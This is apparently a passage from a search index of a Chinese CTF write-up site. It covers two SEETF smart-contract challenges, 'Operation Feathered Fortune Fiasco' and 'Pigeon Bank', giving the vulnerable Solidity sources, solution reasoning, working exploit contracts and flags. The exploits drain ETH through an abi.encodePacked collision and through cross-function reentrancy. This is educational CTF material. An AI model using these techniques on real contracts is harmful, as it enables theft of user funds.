must return the earned ETH back to their master for their promotion. Despite the regimented system, the robotic pigeons have a choice. They can choose to desert the army at any point, taking with them the ETH they've earned. Will they remain loyal, or will they break free? nc win.the.seetf.sg 8548 Setup.sol // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.17 ; import \"./Pigeon.sol\" ; contract Setup { Pigeon public immutable pigeon ; constructor () payable { pigeon = new Pigeon (); // Junior Pigeons pigeon . assignPigeon ( \"Numbuh\" , \"6\" , address ( 0x006 ), 0 ); pigeon . assignPigeon { value : 5e18 }( \"Numbuh\" , \"5\" , address ( 0x005 ), 0 ); pigeon . assignPigeon ( \"Numbuh\" , \"4\" , address ( 0x004 ), 1 ); pigeon . assignPigeon { value : 10e18 }( \"Numbuh\" , \"3\" , address ( 0x003 ), 1 ); pigeon . assignPigeon ( \"Numbuh\" , \"2\" , address ( 0x002 ), 2 ); pigeon . assignPigeon { value : 15e18 }( \"Numbuh\" , \"1\" , address ( 0x001 ), 2 ); } receive () external payable {} function isSolved () external view returns ( bool ) { return address ( msg . sender ). balance >= 34 ether && address ( pigeon ). balance == 0 ether ; } } Pigeon.sol // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.17 ; contract Pigeon { address private owner ; uint256 private ownerBalance ; uint256 private juniorPromotion ; uint256 private associatePromotion ; mapping ( bytes32 => address ) private seniorPigeon ; mapping ( bytes32 => address ) private associatePigeon ; mapping ( bytes32 => address ) private juniorPigeon ; mapping ( address => bool ) private isPigeon ; mapping ( string => mapping ( string => bool )) private codeToName ; mapping ( bytes32 => uint256 ) private taskPoints ; mapping ( address => mapping ( address => uint256 )) private dataCollection ; mapping ( address => bool ) private hasBeenCollected ; mapping ( bytes32 => uint256 ) private treasury ; modifier onlyOwner () { if ( owner != msg . sender ) revert (); _ ; } modifier oneOfUs () { if ( ! isPigeon [ msg . sender ]) revert (); _ ; } constructor () { owner = msg . sender ; juniorPromotion = 8e18 ; associatePromotion = 12e18 ; } function becomeAPigeon ( string memory code , string memory name ) public returns ( bytes32 codeName ) { codeName = keccak256 ( abi . encodePacked ( code , name )); if ( codeToName [ code ][ name ]) revert (); if ( isPigeon [ msg . sender ]) revert (); juniorPigeon [ codeName ] = msg . sender ; isPigeon [ msg . sender ] = true ; codeToName [ code ][ name ] = true ; return codeName ; } function task ( bytes32 codeName , address person , uint256 data ) public oneOfUs { if ( person == address ( 0 )) revert (); if ( isPigeon [ person ]) revert (); if ( address ( person ). balance != data ) revert (); uint256 points = data ; hasBeenCollected [ person ] = true ; dataCollection [ msg . sender ][ person ] = points ; taskPoints [ codeName ] += points ; } function flyAway ( bytes32 codeName , uint256 rank ) public oneOfUs { uint256 bag = treasury [ codeName ]; treasury [ codeName ] = 0 ; if ( rank == 0 ) { if ( taskPoints [ codeName ] > juniorPromotion ) revert (); ( bool success ,) = juniorPigeon [ codeName ]. call { value : bag }( \"\" ); require ( success , \"Transfer failed.\" ); } if ( rank == 1 ) { if ( taskPoints [ codeName ] > associatePromotion ) revert (); ( bool success ,) = associatePigeon [ codeName ]. call { value : bag }( \"\" ); require ( success , \"Transfer failed.\" ); } if ( rank == 2 ) { ( bool success ,) = seniorPigeon [ codeName ]. call { value : bag }( \"\" ); require ( success , \"Transfer failed.\" ); } } function promotion ( bytes32 codeName , uint256 desiredRank , string memory newCode , string memory newName ) public oneOfUs { if ( desiredRank == 1 ) { if ( msg . sender != juniorPigeon [ codeName ]) revert (); if ( taskPoints [ codeName ] < juniorPromotion ) revert (); ownerBalance += treasury [ codeName ]; bytes32 newCodeName = keccak256 ( abi . encodePacked ( newCode , newName )); if ( codeToName [ newCode ][ newName ]) revert (); associatePigeon [ newCodeName ] = msg . sender ; codeToName [ newCode ][ newName ] = true ; taskPoints [ codeName ] = 0 ; delete juniorPigeon [ codeName ]; ( bool success ,) = owner . call { value : treasury [ codeName ]}( \"\" ); require ( success , \"Transfer failed.\" ); } if ( desiredRank == 2 ) { if ( msg . sender != associatePigeon [ codeName ]) revert (); if ( taskPoints [ codeName ] < associatePromotion ) revert (); ownerBalance += treasury [ codeName ]; bytes32 newCodeName = keccak256 ( abi . encodePacked ( newCode , newName )); if ( codeToName [ newCode ][ newName ]) revert (); seniorPigeon [ newCodeName ] = msg . sender ; codeToName [ newCode ][ newName ] = true ; taskPoints [ codeName ] = 0 ; delete seniorPigeon [ codeName ]; ( bool success ,) = owner . call { value : treasury [ codeName ]}( \"\" ); require ( success , \"Transfer failed.\" ); } } function assignPigeon ( string memory code , string memory name , address pigeon , uint256 rank ) external payable onlyOwner { bytes32 codeName = keccak256 ( abi . encodePacked ( code , name )); if ( rank == 0 ) { juniorPigeon [ codeName ] = pigeon ; treasury [ codeName ] = msg . value ; juniorPigeon [ codeName ] = pigeon ; isPigeon [ pigeon ] = true ; codeToName [ code ][ name ] = true ; } if ( rank == 1 ) { associatePigeon [ codeName ] = pigeon ; treasury [ codeName ] = msg . value ; associatePigeon [ codeName ] = pigeon ; isPigeon [ pigeon ] = true ; codeToName [ code ][ name ] = true ; } if ( rank == 2 ) { seniorPigeon [ codeName ] = pigeon ; treasury [ codeName ] = msg . value ; seniorPigeon [ codeName ] = pigeon ; isPigeon [ pigeon ] = true ; codeToName [ code ][ name ] = true ; } } function exit () public onlyOwner { ( bool success ,) = owner . call { value : ownerBalance }( \"\" ); require ( success , \"Transfer failed.\" ); } } \u89e3\u9898\u601d\u8def \u00b6 \u76ee\u6807\u662f\u6e05\u7a7a Pigeon \u7684\u4f59\u989d\uff0c\u4f7f\u5f97\u653b\u51fb\u8005\u6301\u6709\u4e0d\u5c11\u4e8e 34 ether\uff08\u521d\u59cb\u4e3a 5 ether\uff09 Pigeon.flyAway() \u53ef\u4ee5\u83b7\u5f97 treasury[codeName] \u6570\u91cf\u7684 ether \u6f0f\u6d1e\u70b9\u5728\u4e8e code \u548c name \u5747\u4e3a\u52a8\u6001\u7c7b\u578b string \uff0c\u56e0\u6b64\u6709 abi.encodePacked(\"a\", \"bc\") == abi.encodePacked(\"ab\", \"c\") \uff0c\u540c\u65f6 codeName = keccak256(abi.encodePacked(code, name)) \uff0c\u4ece\u800c\u53ef\u4ee5\u5192\u9886\u5176\u5b83 Pigeon \u7684 treasury \u53ef\u4ee5\u5148\u8c03\u7528 Pigeon.becomeAPigeon() \uff0c flyAway() \u83b7\u5f97 5 ether \u968f\u540e\uff0c\u8c03\u7528 Pigeon.task() \u589e\u52a0 taskPoints \u4ee5\u901a\u8fc7 Pigeon.promotion() \u664b\u7ea7\uff0c\u4ece\u800c\u80fd\u5192\u9886\u4e0b\u4e00\u7b49\u7ea7 Pigeon \u7684 treasury task() \u9700\u8981\u63d0\u4f9b\u4e00\u4e2a\u4e0d\u662f Pigeon \u7684\u5730\u5740\uff0c taskPoints \u589e\u52a0\u7684\u503c\u53d6\u51b3\u4e8e\u6307\u5b9a\u5730\u5740\u7684\u4f59\u989d\u3002\u5c3d\u7ba1\u6709 hasBeenCollected \u7684\u8bb0\u5f55\uff0c\u4f46\u5e76\u6ca1\u6709\u5bf9\u5176\u8fdb\u884c\u68c0\u67e5\uff0c\u56e0\u6b64\u4f7f\u7528 Pigeon \u5b9e\u4f8b\u7684\u5730\u5740\u5373\u53ef Exploit \u00b6 pragma solidity 0.8.17 ; interface IPigeon { function becomeAPigeon ( string memory , string memory ) external returns ( bytes32 ); function task ( bytes32 , address , uint256 ) external ; function promotion ( bytes32 , uint256 , string memory , string memory ) external ; function flyAway ( bytes32 , uint256 ) external ; } contract Hack { function exploit ( address instance ) external { IPigeon pigeon = IPigeon ( instance ); bytes32 codeName = keccak256 ( abi . encodePacked ( \"Numbuh5\" )); pigeon . becomeAPigeon ( \"Numbu\" , \"h5\" ); pigeon . flyAway ( codeName , 0 ); pigeon . task ( codeName , instance , instance . balance ); pigeon . promotion ( codeName , 1 , \"Numbu\" , \"h3\" ); codeName = keccak256 ( abi . encodePacked ( \"Numbuh3\" )); pigeon . flyAway ( codeName , 1 ); pigeon . task ( codeName , instance , instance . balance ); pigeon . promotion ( codeName , 2 , \"Numbu\" , \"h1\" ); pigeon . flyAway ( keccak256 ( abi . encodePacked ( \"Numbuh1\" ));, 2 ); selfdestruct ( payable ( msg . sender )); } receive () external payable {} } Flag \u00b6 SEE{c00_c00_5py_squ4d_1n_act10n_9fbd82843dced19ebb7ee530b540bf93}","title":"Operation Feathered Fortune Fiasco"},{"location":"blockchain/operation_feathered_fortune_fiasco/#_1","text":"In the dystopian digital landscape of the near future, a cunning mastermind has kickstarted his plan for ultimate dominance by creating an army of robotic pigeons. These pigeons, six in the beginning, are given a sinister mission: to spy on the public, their focus being on individuals amassing significant Ethereum (ETH) holdings. Each pigeon has been tasked with documenting the ETH each person owns, planning for a future operation to swoop in and siphon off these digital assets. The robotic pigeons, however, are not just spies, but also consumers. They are provided with ETH by their creator to cover their operational expenses, making the network of spy birds self-sustaining and increasingly dangerous. The army operates on a merit-based system, where the pigeon agents earn points for their successful missions. These points pave their path towards promotion, allowing them to ascend the ranks of the robotic army. But, the journey up isn't free. They must return the earned ETH back to their master for their promotion. Despite the regimented system, the robotic pigeons have a choice. They can choose to desert the army at any point, taking with them the ETH they've earned. Will they remain loyal, or will they break free? nc win.the.seetf.sg 8548 Setup.sol // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.17 ; import \"./Pigeon.sol\" ; contract Setup { Pigeon public immutable pigeon ; constructor () payable { pigeon = new Pigeon (); // Junior Pigeons pigeon . assignPigeon ( \"Numbuh\" , \"6\" , address ( 0x006 ), 0 ); pigeon . assignPigeon { value : 5e18 }( \"Numbuh\" , \"5\" , address ( 0x005 ), 0 ); pigeon . assignPigeon ( \"Numbuh\" , \"4\" , address ( 0x004 ), 1 ); pigeon . assignPigeon { value : 10e18 }( \"Numbuh\" , \"3\" , address ( 0x003 ), 1 ); pigeon . assignPigeon ( \"Numbuh\" , \"2\" , address ( 0x002 ), 2 ); pigeon . assignPigeon { value : 15e18 }( \"Numbuh\" , \"1\" , address ( 0x001 ), 2 ); } receive () external payable {} function isSolved () external view returns ( bool ) { return address ( msg . sender ). balance >= 34 ether && address ( pigeon ). balance == 0 ether ; } } Pigeon.sol // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.17 ; contract Pigeon { address private owner ; uint256 private ownerBalance ; uint256 private juniorPromotion ; uint256 private associatePromotion ; mapping ( bytes32 => address ) private seniorPigeon ; mapping ( bytes32 => address ) private associatePigeon ; mapping ( bytes32 => address ) private juniorPigeon ; mapping ( address => bool ) private isPigeon ; mapping ( string => mapping ( string => bool )) private codeToName ; mapping ( bytes32 => uint256 ) private taskPoints ; mapping ( address => mapping ( address => uint256 )) private dataCollection ; mapping ( address => bool ) private hasBeenCollected ; mapping ( bytes32 => uint256 ) private treasury ; modifier onlyOwner () { if ( owner != msg . sender ) revert (); _ ; } modifier oneOfUs () { if ( ! isPigeon [ msg . sender ]) revert (); _ ; } constructor () { owner = msg . sender ; juniorPromotion = 8e18 ; associatePromotion = 12e18 ; } function becomeAPigeon ( string memory code , string memory name ) public returns ( bytes32 codeName ) { codeName = keccak256 ( abi . encodePacked ( code , name )); if ( codeToName [ code ][ name ]) revert (); if ( isPigeon [ msg . sender ]) revert (); juniorPigeon [ codeName ] = msg . sender ; isPigeon [ msg . sender ] = true ; codeToName [ code ][ name ] = true ; return codeName ; } function task ( bytes32 codeName , address person , uint256 data ) public oneOfUs { if ( person == address ( 0 )) revert (); if ( isPigeon [ person ]) revert (); if ( address ( person ). balance != data ) revert (); uint256 points = data ; hasBeenCollected [ person ] = true ; dataCollection [ msg . sender ][ person ] = points ; taskPoints [ codeName ] += points ; } function flyAway ( bytes32 codeName , uint256 rank ) public oneOfUs { uint256 bag = treasury [ codeName ]; treasury [ codeName ] = 0 ; if ( rank == 0 ) { if ( taskPoints [ codeName ] > juniorPromotion ) revert (); ( bool success ,) = juniorPigeon [ codeName ]. call { value : bag }( \"\" ); require ( success , \"Transfer failed.\" ); } if ( rank == 1 ) { if ( taskPoints [ codeName ] > associatePromotion ) revert (); ( bool success ,) = associatePigeon [ codeName ]. call { value : bag }( \"\" ); require ( success , \"Transfer failed.\" ); } if ( rank == 2 ) { ( bool success ,) = seniorPigeon [ codeName ]. call { value : bag }( \"\" ); require ( success , \"Transfer failed.\" ); } } function promotion ( bytes32 codeName , uint256 desiredRank , string memory newCode , string memory newName ) public oneOfUs { if ( desiredRank == 1 ) { if ( msg . sender != juniorPigeon [ codeName ]) revert (); if ( taskPoints [ codeName ] < juniorPromotion ) revert (); ownerBalance += treasury [ codeName ]; bytes32 newCodeName = keccak256 ( abi . encodePacked ( newCode , newName )); if ( codeToName [ newCode ][ newName ]) revert (); associatePigeon [ newCodeName ] = msg . sender ; codeToName [ newCode ][ newName ] = true ; taskPoints [ codeName ] = 0 ; delete juniorPigeon [ codeName ]; ( bool success ,) = owner . call { value : treasury [ codeName ]}( \"\" ); require ( success , \"Transfer failed.\" ); } if ( desiredRank == 2 ) { if ( msg . sender != associatePigeon [ codeName ]) revert (); if ( taskPoints [ codeName ] < associatePromotion ) revert (); ownerBalance += treasury [ codeName ]; bytes32 newCodeName = keccak256 ( abi . encodePacked ( newCode , newName )); if ( codeToName [ newCode ][ newName ]) revert (); seniorPigeon [ newCodeName ] = msg . sender ; codeToName [ newCode ][ newName ] = true ; taskPoints [ codeName ] = 0 ; delete seniorPigeon [ codeName ]; ( bool success ,) = owner . call { value : treasury [ codeName ]}( \"\" ); require ( success , \"Transfer failed.\" ); } } function assignPigeon ( string memory code , string memory name , address pigeon , uint256 rank ) external payable onlyOwner { bytes32 codeName = keccak256 ( abi . encodePacked ( code , name )); if ( rank == 0 ) { juniorPigeon [ codeName ] = pigeon ; treasury [ codeName ] = msg . value ; juniorPigeon [ codeName ] = pigeon ; isPigeon [ pigeon ] = true ; codeToName [ code ][ name ] = true ; } if ( rank == 1 ) { associatePigeon [ codeName ] = pigeon ; treasury [ codeName ] = msg . value ; associatePigeon [ codeName ] = pigeon ; isPigeon [ pigeon ] = true ; codeToName [ code ][ name ] = true ; } if ( rank == 2 ) { seniorPigeon [ codeName ] = pigeon ; treasury [ codeName ] = msg . value ; seniorPigeon [ codeName ] = pigeon ; isPigeon [ pigeon ] = true ; codeToName [ code ][ name ] = true ; } } function exit () public onlyOwner { ( bool success ,) = owner . call { value : ownerBalance }( \"\" ); require ( success , \"Transfer failed.\" ); } }","title":"\u9898\u76ee"},{"location":"blockchain/operation_feathered_fortune_fiasco/#_2","text":"\u76ee\u6807\u662f\u6e05\u7a7a Pigeon \u7684\u4f59\u989d\uff0c\u4f7f\u5f97\u653b\u51fb\u8005\u6301\u6709\u4e0d\u5c11\u4e8e 34 ether\uff08\u521d\u59cb\u4e3a 5 ether\uff09 Pigeon.flyAway() \u53ef\u4ee5\u83b7\u5f97 treasury[codeName] \u6570\u91cf\u7684 ether \u6f0f\u6d1e\u70b9\u5728\u4e8e code \u548c name \u5747\u4e3a\u52a8\u6001\u7c7b\u578b string \uff0c\u56e0\u6b64\u6709 abi.encodePacked(\"a\", \"bc\") == abi.encodePacked(\"ab\", \"c\") \uff0c\u540c\u65f6 codeName = keccak256(abi.encodePacked(code, name)) \uff0c\u4ece\u800c\u53ef\u4ee5\u5192\u9886\u5176\u5b83 Pigeon \u7684 treasury \u53ef\u4ee5\u5148\u8c03\u7528 Pigeon.becomeAPigeon() \uff0c flyAway() \u83b7\u5f97 5 ether \u968f\u540e\uff0c\u8c03\u7528 Pigeon.task() \u589e\u52a0 taskPoints \u4ee5\u901a\u8fc7 Pigeon.promotion() \u664b\u7ea7\uff0c\u4ece\u800c\u80fd\u5192\u9886\u4e0b\u4e00\u7b49\u7ea7 Pigeon \u7684 treasury task() \u9700\u8981\u63d0\u4f9b\u4e00\u4e2a\u4e0d\u662f Pigeon \u7684\u5730\u5740\uff0c taskPoints \u589e\u52a0\u7684\u503c\u53d6\u51b3\u4e8e\u6307\u5b9a\u5730\u5740\u7684\u4f59\u989d\u3002\u5c3d\u7ba1\u6709 hasBeenCollected \u7684\u8bb0\u5f55\uff0c\u4f46\u5e76\u6ca1\u6709\u5bf9\u5176\u8fdb\u884c\u68c0\u67e5\uff0c\u56e0\u6b64\u4f7f\u7528 Pigeon \u5b9e\u4f8b\u7684\u5730\u5740\u5373\u53ef","title":"\u89e3\u9898\u601d\u8def"},{"location":"blockchain/operation_feathered_fortune_fiasco/#exploit","text":"pragma solidity 0.8.17 ; interface IPigeon { function becomeAPigeon ( string memory , string memory ) external returns ( bytes32 ); function task ( bytes32 , address , uint256 ) external ; function promotion ( bytes32 , uint256 , string memory , string memory ) external ; function flyAway ( bytes32 , uint256 ) external ; } contract Hack { function exploit ( address instance ) external { IPigeon pigeon = IPigeon ( instance ); bytes32 codeName = keccak256 ( abi . encodePacked ( \"Numbuh5\" )); pigeon . becomeAPigeon ( \"Numbu\" , \"h5\" ); pigeon . flyAway ( codeName , 0 ); pigeon . task ( codeName , instance , instance . balance ); pigeon . promotion ( codeName , 1 , \"Numbu\" , \"h3\" ); codeName = keccak256 ( abi . encodePacked ( \"Numbuh3\" )); pigeon . flyAway ( codeName , 1 ); pigeon . task ( codeName , instance , instance . balance ); pigeon . promotion ( codeName , 2 , \"Numbu\" , \"h1\" ); pigeon . flyAway ( keccak256 ( abi . encodePacked ( \"Numbuh1\" ));, 2 ); selfdestruct ( payable ( msg . sender )); } receive () external payable {} }","title":"Exploit"},{"location":"blockchain/operation_feathered_fortune_fiasco/#flag","text":"SEE{c00_c00_5py_squ4d_1n_act10n_9fbd82843dced19ebb7ee530b540bf93}","title":"Flag"},{"location":"blockchain/pigeon_bank/","tags":["smart contract","cross-function reentrancy"],"text":"#smart contract #cross-function reentrancy .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 The new era is coming. Pigeons are invading and in order to survive, the SEE Team created PigeonBank so that people can get extremely high interest rate. Hold PETH to get high interest. PETH is strictly controlled by the SEE team to prevent manipulation and corruption. nc win.the.seetf.sg 8550 Setup.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.17 ; import \"./PETH.sol\" ; import \"./PigeonBank.sol\" ; contract Setup { PETH public immutable peth ; PigeonBank public immutable pigeonBank ; // @dev - The SEE Team provided 2500 ETH to PigeonBank to provide liquidity so that the bank stays solvent. constructor () payable { require ( msg . value == 2500 ether , \"Setup: msg.value must be 2500 ether\" ); pigeonBank = new PigeonBank (); peth = pigeonBank . peth (); // @dev - Deposit 2500 ETH to PigeonBank pigeonBank . deposit { value : msg . value }(); assert ( address ( pigeonBank ). balance == 0 ether ); assert ( peth . balanceOf ( address ( this )) == 2500 ether ); } function isSolved () external view returns ( bool ) { return ( peth . totalSupply () == 0 ) && ( address ( msg . sender ). balance >= 2500 ether ); } } PigeonBank.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.17 ; import \"@openzeppelin/contracts/security/ReentrancyGuard.sol\" ; import \"@openzeppelin/contracts/utils/Address.sol\" ; import \"./PETH.sol\" ; // Deposit Ether to PigeonBank to get PETH // @TODO: Implement interest rate feature so that users can get interest by depositing Ether contract PigeonBank is ReentrancyGuard { using Address for address payable ; using Address for address ; PETH public immutable peth ; // @dev - Created by the SEE team. Pigeon Bank is created to allow citizens to deposit Ether and get SEETH and earn interest to survive the economic crisis. address private _owner ; constructor () { peth = new PETH (); _owner = msg . sender ; } function deposit () public payable nonReentrant { peth . deposit { value : msg . value }( msg . sender ); } function withdraw ( uint256 wad ) public nonReentrant { peth . withdraw ( msg . sender , wad ); } function withdrawAll () public nonReentrant { peth . withdrawAll ( msg . sender ); } function flashLoan ( address receiver , bytes calldata data , uint256 wad ) public nonReentrant { peth . flashLoan ( receiver , wad , data ); } receive () external payable {} } PETH.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.17 ; import \"@openzeppelin/contracts/access/Ownable.sol\" ; import \"@openzeppelin/contracts/utils/Address.sol\" ; contract PETH is Ownable { using Address for address ; using Address for address payable ; string public constant name = \"Pigeon ETH\" ; string public constant symbol = \"PETH\" ; uint8 public constant decimals = 18 ; event Approval ( address indexed src , address indexed dst , uint256 amt ); event Transfer ( address indexed src , address indexed dst , uint256 amt ); event Deposit ( address indexed dst , uint256 amt ); event Withdrawal ( address indexed src , uint256 amt ); mapping ( address => uint256 ) public balanceOf ; mapping ( address => mapping ( address => uint256 )) public allowance ; receive () external payable { revert ( \"PETH: Do not send ETH directly\" ); } function deposit ( address _userAddress ) public payable onlyOwner { _mint ( _userAddress , msg . value ); emit Deposit ( _userAddress , msg . value ); // return msg.value; } function withdraw ( address _userAddress , uint256 _wad ) public onlyOwner { payable ( _userAddress ). sendValue ( _wad ); _burn ( _userAddress , _wad ); // require(success, \"SEETH: withdraw failed\"); emit Withdrawal ( _userAddress , _wad ); } function withdrawAll ( address _userAddress ) public onlyOwner { payable ( _userAddress ). sendValue ( balanceOf [ _userAddress ]); _burnAll ( _userAddress ); // require(success, \"SEETH: withdraw failed\"); emit Withdrawal ( _userAddress , balanceOf [ _userAddress ]); } function totalSupply () public view returns ( uint256 ) { return address ( this ). balance ; } function approve ( address guy , uint256 wad ) public returns ( bool ) { allowance [ msg . sender ][ guy ] = wad ; emit Approval ( msg . sender , guy , wad ); return true ; } function transfer ( address dst , uint256 wad ) public returns ( bool ) { return transferFrom ( msg . sender , dst , wad ); } function transferFrom ( address src , address dst , uint256 wad ) public returns ( bool ) { require ( balanceOf [ src ] >= wad ); if ( src != msg . sender && allowance [ src ][ msg . sender ] != type ( uint256 ). max ) { require ( allowance [ src ][ msg . sender ] >= wad ); allowance [ src ][ msg . sender ] -= wad ; } balanceOf [ src ] -= wad ; balanceOf [ dst ] += wad ; emit Transfer ( src , dst , wad ); return true ; } function flashLoan ( address _userAddress , uint256 _wad , bytes calldata data ) public onlyOwner { require ( _wad <= address ( this ). balance , \"PETH: wad exceeds balance\" ); require ( Address . isContract ( _userAddress ), \"PETH: Borrower must be a contract\" ); uint256 userBalanceBefore = address ( this ). balance ; // @dev Send Ether to borrower (Borrower must implement receive() function) Address . functionCallWithValue ( _userAddress , data , _wad ); uint256 userBalanceAfter = address ( this ). balance ; require ( userBalanceAfter >= userBalanceBefore , \"PETH: You did not return my Ether!\" ); // @dev if user gave me more Ether, refund it if ( userBalanceAfter > userBalanceBefore ) { uint256 refund = userBalanceAfter - userBalanceBefore ; payable ( _userAddress ). sendValue ( refund ); } } // ========== INTERNAL FUNCTION ========== function _mint ( address dst , uint256 wad ) internal { balanceOf [ dst ] += wad ; } function _burn ( address src , uint256 wad ) internal { require ( balanceOf [ src ] >= wad ); balanceOf [ src ] -= wad ; } function _burnAll ( address _userAddress ) internal { _burn ( _userAddress , balanceOf [ _userAddress ]); } } \u89e3\u9898\u601d\u8def \u00b6 \u521d\u59cb\uff0c Setup \u5408\u7ea6\u5411 PETH deposit \u4e86 2500 ether\uff0c\u76ee\u6807\u662f\u6e05\u7a7a PETH \u5185\u7684\u5b58\u6b3e \u9700\u8981\u901a\u8fc7 PigeonBank \u8c03\u7528 PETH \u7684\u51fd\u6570\uff0c\u53ef\u8c03\u7528\u7684\u51fd\u6570\u5305\u62ec deposit() \u3001 withdraw() \u3001 withdrawAll() \u548c flashLoan() \u9996\u5148\u5173\u6ce8 flashLoan() \uff0c\u7531\u4e8e\u4e0d\u80fd\u76f4\u63a5\u5411 PETH \u53d1\u9001 ETH\uff0c\u8981\u4e48\u6bcf\u6b21\u501f\u8d37\u91d1\u989d\u4e3a 0\uff0c\u8981\u4e48\u4f7f\u7528 selfdestruct \u8fd4\u8fd8\u7ed9 PETH \uff0c\u4f46\u90fd\u4e0d\u5177\u5907\u592a\u5927\u7684\u4ef7\u503c receive () external payable { revert ( \"PETH: Do not send ETH directly\" ); } \u4e0d\u8fc7\uff0c PETH.flashLoan() \u4f7f\u7528\u4e86 Address.functionCallWithValue() \uff0c\u5373\u53ef\u4ee5\u8ba9 PETH \u7684\u5b9e\u4f8b\u8c03\u7528\u4efb\u4f55\u51fd\u6570 :D \u503c\u5f97\u6ce8\u610f\u7684\u662f\uff0c\u5728 withdrawAll() \u4e2d\uff0c\u9996\u5148\u5411 _userAddress \u53d1\u9001\u5176\u5f53\u524d\u4f59\u989d\u5bf9\u5e94\u6570\u91cf\u7684 ETH\uff0c\u968f\u540e\u6839\u636e _userAddress \u7684\u5f53\u524d\u4f59\u989d\u9500\u6bc1\u4ee3\u5e01\uff0c\u90a3\u4e48\u53ef\u4ee5\u5728\u56de\u8c03\u51fd\u6570\u4e2d\u5c06\u4ee3\u5e01 transfer \u5230\u53d7\u63a7\u5730\u5740\uff08\u53ef\u4ee5\u662f PETH \u5b9e\u4f8b\uff0c\u4f7f\u7528 flashLoan() \u8c03\u7528 approve \uff09\uff0c\u4ece\u800c\u9010\u6b65\u8f6c\u79fb PETH \u6301\u6709\u7684 ETH > < function withdrawAll ( address _userAddress ) public onlyOwner { payable ( _userAddress ). sendValue ( balanceOf [ _userAddress ]); _burnAll ( _userAddress ); // require(success, \"SEETH: withdraw failed\"); emit Withdrawal ( _userAddress , balanceOf [ _userAddress ]); } function _burn ( address src , uint256 wad ) internal { require ( balanceOf [ src ] >= wad ); balanceOf [ src ] -= wad ; } function _burnAll ( address _userAddress ) internal { _burn ( _userAddress , balanceOf [ _userAddress ]); } Exploit \u00b6 pragma solidity 0.8.17 ; interface IPigeonBank { function peth () external view returns ( IPETH ); function deposit () external payable ; function withdraw ( uint256 wad ) external ; function withdrawAll () external ; function flashLoan ( address receiver , bytes calldata data , uint256 wad ) external ; } interface IPETH { function approve ( address guy , uint256 wad ) external returns ( bool ); function transfer ( address dst , uint256 wad ) external returns ( bool ); function transferFrom ( address src , address dst , uint256 wad ) external returns ( bool ); } contract Hack { IPigeonBank bank ; IPETH peth ; bool onWithdraw ; function exploit ( address payable instance ) external payable { bank = IPigeonBank ( instance ); peth = bank . peth (); bank . flashLoan ( address ( peth ), abi . encodeWithSignature ( \"approve(address,uint256)\" , address ( this ), type ( uint256 ). max ), 0 ); uint amount ; while ( address ( peth ). balance != 0 ) { amount = address ( this ). balance < address ( peth ). balance ? address ( this ). balance : address ( peth ). balance ; bank . deposit { value : amount }(); onWithdraw = true ; bank . withdrawAll (); onWithdraw = false ; peth . transferFrom ( address ( peth ), address ( this ), amount ); bank . withdrawAll (); } selfdestruct ( payable ( msg . sender )); } fallback () external payable { if ( onWithdraw ) { peth . transfer ( address ( peth ), msg . value ); } } } Flag \u00b6 SEE{N0t_4n0th3r_r33ntr4ncY_4tt4ck_abb0acf50139ba1e468f363f96bc5a24}","title":"Pigeon Bank"},{"location":"blockchain/pigeon_bank/#_1","text":"The new era is coming. Pigeons are invading and in order to survive, the SEE Team created PigeonBank so that people can get extremely high interest rate. Hold PETH to get high interest. PETH is strictly controlled by the SEE team to prevent manipulation and corruption. nc win.the.seetf.sg 8550 Setup.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.17 ; import \"./PETH.sol\" ; import \"./PigeonBank.sol\" ; contract Setup { PETH public immutable peth ; PigeonBank public immutable pigeonBank ; // @dev - The SEE Team provided 2500 ETH to PigeonBank to provide liquidity so that the bank stays solvent. constructor () payable { require ( msg . value == 2500 ether , \"Setup: msg.value must be 2500 ether\" ); pigeonBank = new PigeonBank (); peth = pigeonBank . peth (); // @dev - Deposit 2500 ETH to PigeonBank pigeonBank . deposit { value : msg . value }(); assert ( address ( pigeonBank ). balance == 0 ether ); assert ( peth . balanceOf ( address ( this )) == 2500 ether ); } function isSolved () external view returns ( bool ) { return ( peth . totalSupply () == 0 ) && ( address ( msg . sender ). balance >= 2500 ether ); } } PigeonBank.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.17 ; import \"@openzeppelin/contracts/security/ReentrancyGuard.sol\" ; import \"@openzeppelin/contracts/utils/Address.sol\" ; import \"./PETH.sol\" ; // Deposit Ether to PigeonBank to get PETH // @TODO: Implement interest rate feature so that users can get interest by depositing Ether contract PigeonBank is ReentrancyGuard { using Address for address payable ; using Address for address ; PETH public immutable peth ; // @dev - Created by the SEE team. Pigeon Bank is created to allow citizens to deposit Ether and get SEETH and earn interest to survive the economic crisis. address private _owner ; constructor () { peth = new PETH (); _owner = msg . sender ; } function deposit () public payable nonReentrant { peth . deposit { value : msg . value }( msg . sender ); } function withdraw ( uint256 wad ) public nonReentrant { peth . withdraw ( msg . sender , wad ); } function withdrawAll () public nonReentrant { peth . withdrawAll ( msg . sender ); } function flashLoan ( address receiver , bytes calldata data , uint256 wad ) public nonReentrant { peth . flashLoan ( receiver , wad , data ); } receive () external payable {} } PETH.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.17 ; import \"@openzeppelin/contracts/access/Ownable.sol\" ; import \"@openzeppelin/contracts/utils/Address.sol\" ; contract PETH is Ownable { using Address for address ; using Address for address payable ; string public constant name = \"Pigeon ETH\" ; string public constant symbol = \"PETH\" ; uint8 public constant decimals = 18 ; event Approval ( address indexed src , address indexed dst , uint256 amt ); event Transfer ( address indexed src , address indexed dst , uint256 amt ); event Deposit ( address indexed dst , uint256 amt ); event Withdrawal ( address indexed src , uint256 amt ); mapping ( address => uint256 ) public balanceOf ; mapping ( address => mapping ( address => uint256 )) public allowance ; receive () external payable { revert ( \"PETH: Do not send ETH directly\" ); } function deposit ( address _userAddress ) public payable onlyOwner { _mint ( _userAddress , msg . value ); emit Deposit ( _userAddress , msg . value ); // return msg.value; } function withdraw ( address _userAddress , uint256 _wad 